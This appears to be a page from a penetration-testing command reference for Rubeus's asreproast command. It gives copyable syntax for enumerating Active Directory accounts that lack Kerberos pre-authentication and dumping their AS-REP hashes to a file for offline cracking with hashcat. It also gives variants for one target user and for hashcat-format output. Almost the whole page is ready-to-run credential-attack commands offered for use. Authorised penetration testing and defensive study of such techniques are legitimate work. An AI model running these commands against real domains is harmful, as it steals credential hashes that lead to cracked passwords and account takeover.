Rubeus asreproast

Find every account with DONT_REQ_PREAUTH set and dump AS-REP hashes for offline cracking (hashcat 18200). Runs from a domain-joined Windows host with no special privileges.

Curated and verified by Ahmad Alawneh, penetration tester (OSCP+, CRTE) · Last updated April 10, 2026

Tool: Rubeus.exe
Category: Credential Attacks / AS-REP Roasting
Platform: windows
Requires: shell access
Protocols: KERBEROS, LDAP

Open in Command Manager

Syntax

Angle-bracket tokens are placeholders — replace them with your target's values, or open this command in the app to fill them in and copy the result.

Rubeus.exe asreproast /outfile:asrep.txt

Credential variants

The same attack using a different authentication material.

Specific User requires shell access

Rubeus.exe asreproast /user:<target-user> /outfile:asrep.txt

Hashcat Format requires shell access

Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt

Examples

Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt

References

Rubeus